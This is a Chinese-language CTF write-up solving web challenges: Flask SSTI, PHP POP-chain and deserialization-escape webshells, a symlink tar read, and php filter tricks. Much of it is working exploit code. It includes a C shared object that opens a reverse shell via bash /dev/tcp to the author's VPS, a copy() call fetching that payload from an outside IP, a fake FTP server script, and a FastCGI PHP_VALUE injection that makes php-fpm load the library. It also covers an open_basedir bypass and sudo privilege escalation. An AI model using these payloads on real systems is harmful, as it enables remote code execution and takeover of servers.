春秋冬季赛 web方向 除零解题外全解 wp

WP部分

这次是单人队伍,第9名,其中web方向前两天ak,第三天俩零解拼劲全力无法战胜。

easy_flask

我们从最简单的开始。

这题无过滤SSTI,但为了防止小白不会,我贴一下过程。

首先

{{7*7}}

发现输出为49,到这里确诊为flask的SSTI

{{[].__class__.__base__.__subclasses__()}}

把输出的那一坨放到这里跑

1
2
3
4
5
6
7
8
9
10
11
12
13
import re

data = r'''
[<class 'type'>, <class 'weakref'>, ......] # 放这里!!!!!!!!!
'''
userful_class = ['linecache', 'os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings', '_frozen_importlib._ModuleLock', '_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager', '_frozen_importlib.ModuleSpec']

pattern = re.compile(r"'(.*?)'")
class_list = re.findall(pattern, data)
for c in class_list:
for i in userful_class:
if i in c:
print(str(class_list.index(c)) + ": " + c)

可以去看https://www.cnblogs.com/LAMENTXU/articles/18442823

发现索引为216的是warning那个类,直接抄payload打

payload为:{{[].__class__.__base__.__subclasses__()[216].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat%20flag').read()")}}

fenjing梭也行

flag{48ad0cde8345c8b2608933ac4e85147e}

file_copy

黑盒,但是可以猜测到后端是copy()。支持php伪协议,无回显。

测一下/flag,发现有东西。接下来就是纯套路了,这里基本确诊是oracle泄露

拿脚本梭了。https://github.com/ProbiusOfficial/PHPinclude-labs/tree/bbb08b030623d481be51edea063433b8d77b2ee7/Level 17/php_filter_chains_oracle_exploit-main

flag{60c19a59-d47b-417b-8bee-e862f052d16d}

Gotar

这里相信各位师傅都能看出来是软链接的题吧(file.go extractTar调用了该依赖库实现解压tar包,还无过滤)。唯一的坑点在于为什么不能直接在download访问。这可能是因为download中的关于数据库的一些操作遇到了软链接导致报错。

因为assets是开放目录可以直接访问,所以download这个功能纯属意义不明。直接可以在assets/extracted/里看到上传的文件。

这里预期解应该包含读取jwt的sercetkey的文件.env,但是由于出题人的一个小失误可以直接读取到/flag。其实这里可以设置一个更加复杂的flag文件名什么的

ln -sf /flag 2/flag
tar cf flag.tar 2/flag

有一个小坑点注意一下。tar从一定版本后会开始自动优化参数中的../,因此,如果你的payload为ln -sf ../../env 2/flag 最好在前面加一个-P

将上述文件提交,访问/assets/extracted/flag即可

flag{b1f79e3a-12f5-46d5-9574-d09068a3ecca}

第一天比较简单,没啥好解释的其实。这道题因为缺少复现环境暂时没法很详细的写,后面会补齐

easy_ser

我们来看POP链子。由题前面的链子可以很容易构造出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

<?php
class STU{

public $stu;
public function __construct($stu){
$this->stu = $stu;
}

public function __invoke(){
echo $this->stu;
}
}

class SDU{
public $Dazhuan;

public function __wakeup(){
$Dazhuan = $this->Dazhuan;
$Dazhuan();
}
}

class CTF{
public $hackman;
public $filename;

public function __toString(){

$data = Base64Decode($this->hackman);
$filename = $this->filename;

if (PassWAF1($data)) {
echo "so dirty";
return;
}
if (PassWAF3($filename)) {
echo "just so so?";
return;
}

file_put_contents($filename, PassWAF2($data));
echo "hack?";
return "really!";
}

public function __destruct(){
echo "bye";
}
}
$a = new SDU();
$a->Dazhuan = new STU(new CTF());
$a->Dazhuan->stu = new CTF();
echo serialize($a);
?>

而后,我们要想怎么写入一句话木马。

可以把WAF2单独拎出来写个demo测试一下。可以使用一句话木马,<? `$_GET[1]`;?>这时?>会刚好被截断到下一行去。(环境关了,我也没源码,后面会补齐)

上述脚本中加上

1
2
$a->Dazhuan->stu->hackman = base64_encode("<? `\$_GET[1]`;?>");
$a->Dazhuan->stu->filename = "a.php";

然而,另一种很抽象的做法是使用php的多行注释,即/**/将多于信息注释掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
class STU{

public $stu;
public function __construct($stu){
$this->stu = $stu;
}

public function __invoke(){
echo $this->stu;
}
}

class SDU{
public $Dazhuan;

public function __wakeup(){
$Dazhuan = $this->Dazhuan;
$Dazhuan();
}
}

class CTF{
public $hackman;
public $filename;

public function __toString(){

$data = Base64Decode($this->hackman);
$filename = $this->filename;

if (PassWAF1($data)) {
echo "so dirty";
return;
}
if (PassWAF3($filename)) {
echo "just so so?";
return;
}

file_put_contents($filename, PassWAF2($data));
echo "hack?";
return "really!";
}

public function __destruct(){
echo "bye";
}
}
$a = new SDU();
$a->Dazhuan = new STU(new CTF());
$a->Dazhuan->stu = new CTF();
$a->Dazhuan->stu->hackman = base64_encode("<?php \$a='ca';/**/\$a.='ll_us';/**/\$a.='er_fu';/**/\$a.='nc'; /**/\$a(\$_GET[1],/**/\$_GET[2]);?>");
$a->Dazhuan->stu->filename = "a.php";

echo serialize($a);
?>

这样的话中间的垃圾信息就成为了/**//**/中间的东西,就不会被当作代码解析。

1
O:3:"SDU":1:{s:7:"Dazhuan";O:3:"STU":1:{s:3:"stu";O:3:"CTF":2:{s:7:"hackman";s:128:"PD9waHAgJGE9J2NhJzsvKiovJGEuPSdsbF91cyc7LyoqLyRhLj0nZXJfZnUnOy8qKi8kYS49J25jJzsgICAvKiovJGEoJF9HRVRbMV0sLyoqLyRfR0VUWzJdKTs/Pg==";s:8:"filename";s:5:"a.php";}}}

提交即可

访问a.php

flag{f44ab7d7195a1f156aa2fbc1ceba61ec}

b0okshelf

终于到这题了吗哈哈哈哈哈哈。

可以的,首先这里是一个很经典的反序列化逃逸,具体信息可以去看官方wp,我这里主要讲解非预期部分

我的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php

class Book {
public $id;
public $title;
public $author;
public $summary;
public $reader;
}

class Reader
{
public function __construct($location)
{
$this->location = $location;
}
private $location;
public function getContent()
{
return file_get_contents($this->location);
}
public function setContent($content)
{
file_put_contents($this->location, $content);
}
}

function waf($data)
{
return str_replace("'", "\\'", $data);
}

$x = new Book();
$x->title = "title";
$x->author = "author";
$x->summary = "";
for($i=0; $i<69; $i++){
$x->summary .= "'";
}
$x->summary .= urldecode("%22%3Bs%3A6%3A%22reader%22%3BO%3A6%3A%22Reader%22%3A1%3A%7Bs%3A16%3A%22%00Reader%00location%22%3Bs%3A5%3A%221%2ephp%22%3B%7D%7D");
echo urlencode($x->summary);
$x->reader = new Reader('akakakaka');

$unx = unserialize(waf(serialize($x)));

var_dump($unx);

// echo "\n";
// echo strlen(urldecode("%22%3Bs%3A6%3A%22reader%22%3BO%3A6%3A%22Reader%22%3A1%3A%7Bs%3A16%3A%22%00Reader%00location%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D"));

随后将内容修改为一句话木马即可

访问1.php。拿到一个eval。然后发现有disable_functions。还有open_basedir的限制。

绕过open_basedir可以看:

https://www.cnblogs.com/LLeaves/p/13210005.html#五-利用ini_set读取文件内容

抄payload打,发现能绕过去

读取到根目录

可以使用file_get_contents读取到/etc/passwd

但是读不到/flag呜呜呜,这里要求有高权限。猜测是要RCE提权了。

这里官方wp是通过cnext打,也有用蚁剑插件直接梭的。我在这两个之间选了一个完全搭不上边的解法。php-fpm被动模式RCE

首先讲讲原理。在这题里file_get_contents和file_put_contents都是没有被ban的。因此,我们可以用这个来发动攻击。hmmmm,问题在于没有回显,而且需要提权RCE,所以oracle什么的就别想了,一定要弹shell。

1
2
3
<?php
$contents = file_get_contents($_GET['1']);
file_put_contents($_GET['1'], $contents);

这是一份漏洞代码,我知道你有八百种办法攻击他。别急,在万千种伪协议里,你有没有想过,或者哪怕看ftp://一眼呢

如果我们使用ftp://evil/1.txt,那么这个服务器就会从evil这个服务器上下载1.txt(file_get_contents)并且,将1.txt传回去(file_put_contents)

可不可以用这个来攻击php的中间件fpm呢?

可以先去看看https://github.com/gjzxyb/MiscSecNotes-CTF/blob/master/%E6%BC%8F%E6%B4%9E%E7%A7%91%E6%99%AE/PHP-FPM%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md

当我们在file_get_contents里输入ftp协议的时候,往里面放一个fastcgi的payload,这个payload会导致fpm加载一个恶意so文件。服务器就会拿着这个payload与我们开一个ftp链接,我们当然不是要去给它传文件,甚至不需要启动一个FTP服务器,直接写一个socket脚本,不用管它的请求啊什么的(已读乱回),直接告诉他,OK你连上一个FTP服务器了,现在要你输密码(发来不知道什么鬼)OK你密码正确,你过关,然后告诉它,切换到binary mode,你未授权了,我们进被动模式聊吧,给你发个链接点一下,我们借一步说话。(发送127.0.0.1:fpm的端口,这就是在SSRF了!)随后服务器就会傻傻地把我们的payload传给fpm。于是fpm就去加载一个恶意的so,这个so可以是我们提前上传并设置好的反弹shell的so,然后,我们只需要开启监听就好啦

bingo!是不是很简单?我们来试试吧!

首先先看nginx.conf,确认fpm端口

fpm开着的,端口为9000号,index是index.php。靶机上线。

先写一个伪造的ftp服务器,已读乱回,反正我不管你怎么样我就发信息就完了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 1234))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2) #就是这里,把服务器骗去fpm
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

在服务器上启动该脚本,随后我们就在服务器的1234号端口上启动了一个”FTP服务”

接下来,写一个c文件:

1
2
3
4
5
6
7
8
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'bash -i >& /dev/tcp/你的VPS/1233 0>&1'");
}

内容就是,当被当作so文件加载时,反弹一个shell到1233端口

随后,编译为so

1
gcc evil.c -fPIC -shared -o evil.so

接下来起一个web服务(python3 -m http.server 8777)准备上传这个文件。因为服务器出网,这里使用copy函数。如图:

1
/1.php?1=mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy("http://101.43.48.199:8777/evil.so","/tmp/evil.so");

可以看到传上去了

非常好!我们进行下一步。

接下来,我们构造一个恶意的fastcgi请求攻击fpm,让它加载我们的so文件。

使用网上的脚本构造即可。(参数给你改好了,只用改端口就行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
// $this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
echo('?file=ftp://101.43.48.199:1234/&data='.urlencode($request));
// fwrite($this->_sock, $request);
// do {
// $resp = $this->readPacket();
// if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
// $response .= $resp['content'];
// }
// } while ($resp && $resp['type'] != self::END_REQUEST);
// var_dump($resp);
// if (!is_array($resp)) {
// throw new Exception('Bad request');
// }
// switch (ord($resp['content']{4})) {
// case self::CANT_MPX_CONN:
// throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
// break;
// case self::OVERLOADED:
// throw new Exception('New request rejected; too busy [OVERLOADED]');
// break;
// case self::UNKNOWN_ROLE:
// throw new Exception('Role value not known [UNKNOWN_ROLE]');
// break;
// case self::REQUEST_COMPLETE:
// return $response;
// }
}
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
// die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
// $filepath = __FILE__;
//}else{
// $filepath = $_REQUEST['filepath'];
//}

$filepath = "/var/www/html/index.php";
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = evil.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = "; // extension_dir即为.so文件所在目录
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command=whoami',
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => 'ctfking/Tajang',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9000', // 找准服务端口
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

运行,拿到payload

随后上传一个靶子

1
2
3
4
5
6
<?php
$file = $_GET['file'] ?? '/tmp/file';
$data = $_GET['data'] ?? ':)';
echo($file."</br>".$data."</br>");
var_dump(file_put_contents($file, $data));
?>

把这玩意用so上传的同款方法传到/var/www/html/file.php,给我们当靶子用。

VPS启动nc监听1233端口。保持1234端口的“ftp”服务,拿着生成的payload访问file.php。接下来闭眼等待奇迹的发生……

这时候,你会突然发现自己1234的服务结束了,这说明恶意payload被传到了php fpm。它加载了你的so……

回到nc的监听一看,鱼儿已经上钩

接下来看权限文件,发现没什么特殊的,就来看sudo -l

发现一个NOPASSWD的程序。通过搜索可以知道/bin/date的-f参数可以读取日期文件。

我们是不是可以用这个读取flag呢?

精彩!

flag{4ce454c0-69a9-4898-89ca-3cb8d3c12728}

easy_php

这题出糊了。

注意到file.php没有过滤/flag,可以直接读取。根本不需要phar反序列化
/file.php?file=/flag 获得flag

flag{a16dcb7549915546893a27a6d7927615}

ez_code

/robots.txt发现有gogogo.php。访问,得到源码

先绕ctfer。

这里存在一个浮点精度的问题。在php中,有:

1
2
3
4
<?php
$a = 666.999999999999999999999;
echo $a==667;
?>

当浮点数精度过高,会导致上溢。

因此,使用ctfer=666.99999999999999999即可绕过。

随后,Cookie传pass=admin

随后,使用php伪协议读取。这里编码用iconv的都可以。随便选一个经典的convert.iconv.UCS-4LE.UCS-4BE链
gogogo.php?ctfer=666.99999999999999999&file=php://filter/convert.iconv.UCS-4LE.UCS-4BE/resource=read.php

读取到

Ctrl+U

随后使用php的iconv函数解密即可

1
2
3
<?php
echo iconv('UCS-4BE', 'UCS-4LE', "hp?<f$ p galZ\" =ZhxmOkt3YlFTZzITNykTZwI2YkJTN2E2NyYDNmNGN4MGYjdj\"=0X");
?>

base64解码出

flag{d91ea23e927b0e2dca64624cf4c867ca}

能看到这里,辛苦你了~